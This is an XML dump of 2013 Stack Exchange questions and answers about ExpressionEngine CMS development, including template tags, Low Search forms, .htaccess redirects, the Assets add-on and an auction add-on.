  <row Id="5177" PostTypeId="1" AcceptedAnswerId="5181" CreationDate="2013-01-21T20:54:06.653" Score="1" ViewCount="559" Body="&lt;p&gt;I have a select drop-down with different values in it on my contact form, and I want to direct the e-mail to a different person based upon the value selected in the drop down.  How could I accomplish this?  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-21T21:46:25.803" Title="send email to different recipient based upon drop-down selection" Tags="|email|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5178" PostTypeId="1" CreationDate="2013-01-21T20:55:40.580" Score="2" ViewCount="319" Body="&lt;p&gt;I have a client looking into setting up a low volume auction site for a niche market. The user would like to avoid a different login for members and admins and prefers to stay with EE if at all possible&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are there any available add-ons that are designed to allow community members (non-admins) to post their own auction items, timed and buy it now options and require a commission payout to the website upon auction completion. &lt;/li&gt;&#xA;&lt;li&gt;Can this functionality be rolled out with any of the existing store add-ons (espresso, cart-throb, brilliant retail), if so, how would you approach this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-05-20T20:13:01.323" Title="Looking for an Auction Plug-in" Tags="|add-on|ecommerce|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5181" PostTypeId="2" ParentId="5177" CreationDate="2013-01-21T21:46:25.803" Score="5" Body="&lt;p&gt;Solspace's &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot;&gt;Freeform&lt;/a&gt; has a &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#recipients&quot;&gt;dynamic recipients functionality&lt;/a&gt; that just might serve your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I quote: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;recipients=&quot;yes&quot;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This parameter allows you to let your users select recipient email addresses dynamically within the form itself. So for example, you can have a dropdown select menu that allows your users to select the destination for their email (Sales, Support, Service, etc). You can have corresponding email addresses to those options and the result is that the user can direct which email the notification should go to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="221" LastActivityDate="2013-01-21T21:46:25.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5182" PostTypeId="1" CreationDate="2013-01-21T22:03:34.557" Score="1" ViewCount="65" Body="&lt;p&gt;This Fieldtype will need to allow the &quot;profile admin interface&quot; created from the API to appear on the Entry Publish/Edit page. The only thing that I was told I'll need to add to the script (as a variable) is the current entry's ID. I tried to find a fieldtype I could use as a reference and I see fieldtypes like Color Picker &lt;a href=&quot;http://devot-ee.com/add-ons/color-picker&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/color-picker&lt;/a&gt; that may be similar but that one doesn't load the entry ID into the script as a variable. I don't believe I'll need to store anything in the database, because the script will send any selections by the author to the remote site to store (associated to the entry ID and an API key from &lt;a href=&quot;https://electnext.com/&quot; rel=&quot;nofollow&quot;&gt;https://electnext.com/&lt;/a&gt;) so hopefully it won't be that difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly a front-end coder so this is a bit out of my comfort zone, but I'm fairly confident I can pull it off with some guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="669" LastEditorUserId="268" LastEditDate="2013-01-22T01:37:36.173" LastActivityDate="2013-01-22T01:37:36.173" Title="How do I obtain the entry_id in the Publish screen for use in javascript (EE1 and EE2)?" Tags="|ee2|add-on-development|ee1|fieldtype|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5183" PostTypeId="1" CreationDate="2013-01-21T23:15:58.823" Score="0" ViewCount="175" Body="&lt;p&gt;The files show up but it just says &quot;JPG&quot; instead of showing the thumbnail.  The strange thing is that any images just in the root of the bucket show the thumbnail just fine but if i move that same image into a sub-directory I get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to be pretty consistant throughout the site no matter what i do. I updated the indexes, tried uploading files directly to the bucket or through the interface, and i double checked permissions on both the local cache directory and the s3 bucket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related would it to filter a field to the sub-directory level instead of just the &quot;source&quot; level?  we use one master s3 account for all of our clients and would be nice to &quot;bucket&quot; their directories together.  I realize its a slippery slope with directories within directories but just one level would help us a lot..&lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="268" LastEditDate="2013-01-22T01:35:55.977" LastActivityDate="2013-03-23T06:50:10.940" Title="Assets 2 thumbnails not showing in s3 sources sub directories" Tags="|add-on|assets|thumbnails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5184" PostTypeId="1" AcceptedAnswerId="5187" CreationDate="2013-01-21T23:27:00.063" Score="1" ViewCount="355" Body="&lt;p&gt;Perhaps I've misunderstood what Related_Entries is aimed at accomplishing, but I've tried a number of variations and can't seem to get some very simple template code to parse correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel Setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Matches channel and a Teams channel. The Matches channel has two fields in it labeled as &quot;Team 1&quot; and &quot;Team 2&quot;. They're both set as a Relationship to the Teams channel. I've created some test Matches and assigned Teams to them and everything appears fine there. However, I'm attempting to create a sample template using all of this information. See below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template code&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Matches&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;h1&amp;gt;List of current matches.&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;Matches&quot; limit=&quot;10&quot;}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;{related_entries id=&quot;Teams&quot; entry_id=&quot;{team_1}&quot;}&#xA;  {team_name}&#xA;{/related_entries}&#xA;&#xA;vs&#xA;&#xA;{related_entries id=&quot;Teams&quot; entry_id=&quot;{team_2}&quot;}&#xA;  {team_name}&#xA;{/related_entries}&#xA;&#xA;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{team_1} appears to just be returning an id of some sort... I presume it is the rel_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;exp_relationships/clearing cache/table behavior&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further muddy the waters, while troubleshooting, it was recommended I clear the Relationship cache within EE through the Admin interface. This action cleared out all data within the rel_data column in this table but I've yet to find an &lt;em&gt;ideal&lt;/em&gt; way to repopulate this data. The only way I've found is to go into Content &gt; Edit &gt; Matches, edit one of the matches and CHANGE the team participating in the Match and then change it back. Simply hitting &quot;Update&quot; doesn't appear to re-populate the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a mistake and read the documentation on the related_entries tag incorrectly. The accepted answer below is based on the comment he made pointing out that I need to use the field id instead of the Channel name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The changed line(s) should look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;team_1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="864" LastEditorUserId="864" LastEditDate="2013-01-22T13:34:50.577" LastActivityDate="2013-01-22T13:34:50.577" Title="Related_Entries how-to?" Tags="|relationships|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5185" PostTypeId="2" ParentId="5169" CreationDate="2013-01-22T00:26:26.483" Score="2" Body="&lt;p&gt;You could build a custom extension that queries the database (I think exp_channel_titles) for the url_title supplied, then return an error to the user if it already exists. You would probably want to look into the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/development.html#safecracker-submit-entry-start&quot; rel=&quot;nofollow&quot;&gt;safecracker_submit_entry_start&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use JavaScript and perform some validation on the front end that passes the url_title to an AJAX request that ultimately does a query like the option above. You could take that response and determine whether to prevent the form submission and notify the user if that url_title is taken or continue as normal if the url_title is not taken.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-22T00:26:26.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5186" PostTypeId="2" ParentId="5182" CreationDate="2013-01-22T00:55:56.020" Score="1" Body="&lt;p&gt;I believe it is stored in a hidden form input on the page, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;123&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you could grab it with JQuery with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var id = $('input[name=entry_id]').val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should also be in the query string of the URL as a get variable if you wanted to go that route, but finding it on the page would probably be more direct.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-22T00:55:56.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5187" PostTypeId="2" ParentId="5184" CreationDate="2013-01-22T01:35:07.303" Score="0" Body="&lt;p&gt;Try removing &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; the only parameter to the related_entries tag is the id parameter, which is the shortname of the relationship field.  This means the name of the field where the dropdown allowing you to select a relationship lives.  As an example, I have a channel called &lt;code&gt;programs&lt;/code&gt; in which the channel field naming convention is three letter channel code underscore 2 letter language code underscore name.  Here is my code for one of those related_entries tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_entries id=&quot;pro_related_program&quot;}&#xA;    &amp;lt;p&amp;gt;This session is part of a larger series.  For more information see &amp;lt;a href=&quot;{title_permalink=&quot;programs/catalogue&quot;}&quot; title=&quot;TDLC: {title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2013-01-22T05:26:25.730" LastActivityDate="2013-01-22T05:26:25.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5188" PostTypeId="1" AcceptedAnswerId="5218" CreationDate="2013-01-22T02:21:53.043" Score="8" ViewCount="10282" Body="&lt;p&gt;First time this has happend to me and I can't figure out how to fix my 301 redirects. The redirect is appending the rule to the end of destination/new url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /products.htm http//www.domain.com/products/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Redirects to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.com/products/?/products.htm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site is on a MediaTemple (dv) 4.0. My &lt;code&gt;.htaccess&lt;/code&gt; file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## BEGIN Expression Engine Rewrite&#xA;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;# END Expression Engine Rewrite&#xA;&#xA;# Redirect to www&#xA;RewriteCond %{HTTP_HOST} ^domain.com [NC]&#xA;RewriteRule ^(.*)$ http://www.domain.com/$1 [L,R=301]&#xA;&#xA;&#xA;#&#xA;# Old site URL 301 Redirects&#xA;#&#xA;&#xA;Redirect 301 /products.htm http://www.domain.com/products/&#xA;# plus many more...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;UPDATE:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Just wanted to add what I've tried with no success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$config['uri_protocol']    = 'AUTO'; // tried all 5 options. nothing seemed to change`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried appending &lt;code&gt;?&lt;/code&gt; to the end of the redirect, which removed the appending rule, but kept the &lt;code&gt;?&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /products.htm http://www.domain.com/products/?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have successfully setup redirects before in EE1, and referenced a site &amp;amp; noticed the rewrite rule for removing the &lt;code&gt;index.php&lt;/code&gt; file didn't have the &lt;code&gt;?&lt;/code&gt; at the end. Is this something specific to EE2 or the server envirnoment as when I remove that I get the &lt;code&gt;no input file specified&lt;/code&gt; error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# EE1&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-01-22T13:35:47.367" LastActivityDate="2013-01-31T23:42:53.623" Title="301 Redirects Appending Query String?" Tags="|htaccess|redirects|querystring|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5189" PostTypeId="1" CreationDate="2013-01-22T02:35:35.433" Score="4" ViewCount="152" Body="&lt;p&gt;I am using the Zoo Visitor login form within a secured environment and the form action being output is &lt;strong&gt;http://&lt;/strong&gt; instead of &lt;strong&gt;https://&lt;/strong&gt; - even when I put a full path like: &lt;code&gt;return=&quot;https://www.site-name.com/account&quot;&lt;/code&gt; the form action is: &lt;code&gt;action=&quot;http://www.site-name.com/account&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the form submit to a secure URL?&lt;/p&gt;&#xA;" OwnerUserId="865" LastEditorUserId="55" LastEditDate="2013-01-22T13:27:04.107" LastActivityDate="2013-02-09T01:11:07.120" Title="SSL form action issue - Zoo Visitor" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5190" PostTypeId="2" ParentId="5000" CreationDate="2013-01-22T03:47:00.513" Score="1" Body="&lt;p&gt;This may be an issue with Channel Videos.  I'll consider this response from Lisa Wess as an answer in that it isn't a WYGWAM issue.  Thank you Lisa for helping out.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2013-01-22T03:47:00.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5191" PostTypeId="2" ParentId="5183" CreationDate="2013-01-22T06:16:59.583" Score="1" Body="&lt;p&gt;The issue you're describing sounds pretty weird and I suggest you email us at support@pixelandtonic.com, so we can work with you individually to resolve this - most likely we'll bee needing FTP and Superadmin access to pull out all the stops on our debugging skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the other request you mentioned - am I understanding correctly that all your client resources are thrown together in a single bucket, only the subfolders differ? That by far is not the most optimal choice of managing files - I strongly suggest you use a different bucket for each client and thusly eliminate the problem. What you're asking for is a cure for the symptoms, not the problem :)&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-01-22T06:16:59.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5193" PostTypeId="2" ParentId="5178" CreationDate="2013-01-22T08:32:27.713" Score="2" Body="&lt;p&gt;I think this is actually possible with ANY existing e-commerce solutions (CartThrob, BrilliantRetail, Store) PLUS custom add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The store should be set up in a way that items would be visible, but not available for purchase until the auction is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The auction add-on should record all bids and change item's price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When auction is complete, the item status should be changed (so it becomes available for purchase) - but the auction add-on should restrict the purchase to be available only to member whose bid was winning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding adding items to auction, I'm not sure what approach BR and Store use for it, but with CartThrob it can be done by simply providing SafeCracker form.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-22T08:32:27.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5194" PostTypeId="1" AcceptedAnswerId="5196" CreationDate="2013-01-22T08:48:26.607" Score="0" ViewCount="67" Body="&lt;p&gt;I have this form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;test&quot; secure=&quot;no&quot; search_mode=&quot;any&quot; loose_ends=&quot;yes&quot; result_page=&quot;test/&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{low_search_search:region}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{low_search_search_mode}&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;label for=&quot;region&quot;&amp;gt;Region:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select class=&quot;span12&quot; name=&quot;search:region&quot; id=&quot;region&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;            {exp:channel:entries channel=&quot;regions&quot; orderby=&quot;region_name&quot; sort=&quot;asc&quot;}&#xA;                &amp;lt;option value=&quot;{region_name}&quot;&amp;gt;{region_name}&amp;lt;/option&amp;gt;&#xA;            {/exp:channel:entries}&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried choosing a region and then submit it. This form submits it to itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after submission, the content of the first h2 tag above(low_search_search:region) is empty while the second one(low_search_search_mode) is showing &quot;any&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't &quot;low_search_search:channel_field&quot; working? Is there something wrong that I am doing?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-01-22T09:04:08.220" LastActivityDate="2013-01-22T10:04:47.663" Title="Problems with {low_search_search:channel_field} tag" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5195" PostTypeId="1" AcceptedAnswerId="5198" CreationDate="2013-01-22T10:02:37.623" Score="1" ViewCount="246" Body="&lt;p&gt;Lets say I have this form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;members&quot; secure=&quot;no&quot; search_mode=&quot;any&quot; loose_ends=&quot;yes&quot; result_page=&quot;flatmates/&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;p&amp;gt;Age&amp;lt;/p&amp;gt;&#xA;        &amp;lt;select class=&quot;span5&quot; name=&quot;range-from:age&quot; id=&quot;age_from&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;18&quot;&amp;gt;18&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;19&quot;&amp;gt;19&amp;lt;/option&amp;gt;&#xA;            ....&#xA;            &amp;lt;option value=&quot;65&quot;&amp;gt;65&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select class=&quot;span5&quot; name=&quot;range-to:age&quot; id=&quot;age_to&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;18&quot;&amp;gt;18&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;19&quot;&amp;gt;19&amp;lt;/option&amp;gt;&#xA;            ....&#xA;            &amp;lt;option value=&quot;65&quot;&amp;gt;65&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens to the search results when I make it so that the &quot;from&quot; is greater than the &quot;to&quot; value or the &quot;to&quot; value less than &quot;from&quot;(for example, if I choose 40 for the &quot;from&quot; and then 18 for the &quot;to&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Low Search handle this? Does it somehow swap them or intepret the lesser value as the &quot;from&quot; and the greater value as the &quot;to&quot;? Or does it do nothing(no swaps, no errors, etc)?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-22T10:33:32.727" Title="Low Search - Range Search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5196" PostTypeId="2" ParentId="5194" CreationDate="2013-01-22T10:04:47.663" Score="0" Body="&lt;p&gt;Add &lt;code&gt;query=&quot;{segment_2}&quot;&lt;/code&gt; to the Form tag, so it knows what has been submitted.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-22T10:04:47.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5197" PostTypeId="1" CreationDate="2013-01-22T10:19:47.300" Score="0" ViewCount="378" Body="&lt;p&gt;I have installed Assets 2 on a 2.5.5 EE install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to index the files, but it just sits there and does nothing. No loading bars display like on another website I have used this on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left it until the session expired, and nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-01-22T12:48:43.510" Title="Assets 2 not indexing" Tags="|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5198" PostTypeId="2" ParentId="5195" CreationDate="2013-01-22T10:33:32.727" Score="2" Body="&lt;p&gt;Low Search will do what you tell it to do. So, if you set the from-value to 40 and the to-value to 18, it will search for &lt;code&gt;field &amp;gt;= 40 AND field &amp;lt;= 18&lt;/code&gt;, which will return no results. No swapping, no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need validation, you can take care of that on the front-end, using JavaScript. Or use pre-defined date ranges in a single &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;select name=&quot;range:age&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;&quot;&amp;gt;Select age&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;;17&quot;&amp;gt;Under 18&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;18;25&quot;&amp;gt;18 - 25&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;25;35&quot;&amp;gt;25 - 35&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;35;50&quot;&amp;gt;35 - 50&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;50;&quot;&amp;gt;50+&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-22T10:33:32.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5199" PostTypeId="2" ParentId="5178" CreationDate="2013-01-22T11:44:12.847" Score="2" Body="&lt;p&gt;A quick search at &lt;a href=&quot;http://devot-ee.com/search/results?keywords=auction&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt; shows no auction add-ons, though it's possible that one was created and not posted there. But, I do recall their being a discussion about an Auction Module for EE awhile back and went searching in my bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference I found was a tutorial on how to build your first module, an &lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-1&quot; rel=&quot;nofollow&quot;&gt;Auction Module&lt;/a&gt;. The tutorial is done by &lt;a href=&quot;http://devot-ee.com/developers/andrew-weaver&quot; rel=&quot;nofollow&quot;&gt;Andrew Weaver&lt;/a&gt;, who's built a number of &lt;a href=&quot;http://devot-ee.com/developers/andrew-weaver&quot; rel=&quot;nofollow&quot;&gt;great&lt;/a&gt; &lt;a href=&quot;http://brandnewbox.co.uk&quot; rel=&quot;nofollow&quot;&gt;add-ons&lt;/a&gt; for ExpressionEngine. It's part of his &lt;a href=&quot;http://ee-recipes.com&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Add-on Recipes&lt;/a&gt; website, which is…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a collection of articles and tutorials to help you learn how to build&#xA;  ExpressionEngine add-ons.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So far there is an eight part series on '&lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-1&quot; rel=&quot;nofollow&quot;&gt;Building an Auction Module&lt;/a&gt;'-Our First Module, that can probably be stepped through in under a week. Downside, you'd need to do it yourself and I'm not certain if the series is fully complete or is at something like 8 of 10 entries. But Andrew could probably be contacted to help you finish off any remaining components. His email is available right on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd think that after the auction is won, you could probably use Simple Commerce or &lt;a href=&quot;http://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Exp:resso Store&lt;/a&gt; to handle the final payment transaction. That part could be a little tricky, but shouldn't be to hard. All auction items would need to start with a base price/bid, that will allow you to complete the Store record. But the final price could possibly be handled the same way donations are, by using the quantity field instead of the price field, when the price field is set to $1. That way a bid of $500 would be Qty: 500 x Price $1, to record the final sale price.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-22T11:44:12.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5202" PostTypeId="2" ParentId="5163" CreationDate="2013-01-22T12:45:36.403" Score="2" Body="&lt;p&gt;As mentioned in your comment - Store only supports a single billing &quot;name&quot; field. To separate these into first name and last name fields, there is an add-on on Devot:ee by Michael Rog which will let you use a custom field for this: &lt;a href=&quot;http://devot-ee.com/add-ons/store-firstname-lastname&quot; rel=&quot;nofollow&quot;&gt;Store: Firstname/Lastname&lt;/a&gt;. There is also a &lt;a href=&quot;https://exp-resso.com/store/support&quot; rel=&quot;nofollow&quot;&gt;feature request&lt;/a&gt; for it, and it will most likely be addressed officially in a future version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some gateways require separate first name and last name fields, the name field is currently split after the first space when sent to the payment gateway. This is sufficient for 99% of cases, and mostly only leads to errors during testing when you don't put a real name in :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Store v2 has separate &lt;code&gt;first_name&lt;/code&gt; and &lt;code&gt;last_name&lt;/code&gt; fields.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-04-15T11:16:51.273" LastActivityDate="2014-04-15T11:16:51.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5203" PostTypeId="2" ParentId="5197" CreationDate="2013-01-22T12:48:43.510" Score="5" Body="&lt;p&gt;OMG: I found the problem! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's because in my .htaccess I added a www. and I set my base_url without www.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it's just a www. or no www. issue for me! hope that helps! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;br&gt;&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-01-22T12:48:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
